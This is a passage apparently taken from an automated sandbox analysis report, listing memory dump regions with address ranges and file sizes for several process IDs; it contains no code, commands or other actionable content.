                                                                                                                                                • memory/2612-13-0x0000000005AA0000-0x0000000005B06000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  408KB

                                                                                                                                                • memory/2612-29-0x0000000073410000-0x0000000073BC0000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  7.7MB

                                                                                                                                                • memory/2612-26-0x00000000061C0000-0x000000000620C000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  304KB

                                                                                                                                                • memory/2612-12-0x00000000051C0000-0x00000000051E2000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  136KB

                                                                                                                                                • memory/2612-11-0x0000000005300000-0x0000000005928000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  6.2MB

                                                                                                                                                • memory/2612-9-0x0000000073410000-0x0000000073BC0000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  7.7MB

                                                                                                                                                • memory/2612-10-0x0000000004CC0000-0x0000000004CD0000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  64KB

                                                                                                                                                • memory/2612-8-0x0000000004BE0000-0x0000000004C16000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  216KB

                                                                                                                                                • memory/2612-25-0x0000000006190000-0x00000000061AE000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  120KB

                                                                                                                                                • memory/3092-74-0x00007FFAFD510000-0x00007FFAFDFD1000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  10.8MB

                                                                                                                                                • memory/3092-90-0x00007FFAFD510000-0x00007FFAFDFD1000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  10.8MB

                                                                                                                                                • memory/3092-75-0x000001ED1A010000-0x000001ED1A020000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  64KB

                                                                                                                                                • memory/3092-76-0x000001ED7FF60000-0x000001ED7FF82000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  136KB

                                                                                                                                                • memory/3092-77-0x000001ED1A010000-0x000001ED1A020000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  64KB

                                                                                                                                                • memory/3880-33-0x0000000000740000-0x0000000000DFA000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  6.7MB

                                                                                                                                                • memory/3880-5-0x0000000010000000-0x0000000014B4C000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  75.3MB

                                                                                                                                                • memory/3880-571-0x0000000000740000-0x0000000000DFA000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  6.7MB

                                                                                                                                                • memory/3880-4-0x0000000000740000-0x0000000000DFA000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  6.7MB

                                                                                                                                                • memory/4636-97-0x0000000000740000-0x0000000000DFA000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  6.7MB

                                                                                                                                                • memory/4636-91-0x0000000000740000-0x0000000000DFA000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  6.7MB

                                                                                                                                                • memory/4636-36-0x0000000010000000-0x0000000014B4C000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  75.3MB

                                                                                                                                                • memory/4636-35-0x0000000000740000-0x0000000000DFA000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  6.7MB